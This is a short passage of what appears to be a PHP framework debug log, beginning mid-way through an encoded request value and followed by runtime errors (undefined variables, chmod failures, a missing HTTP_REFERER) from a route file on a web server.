oVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31]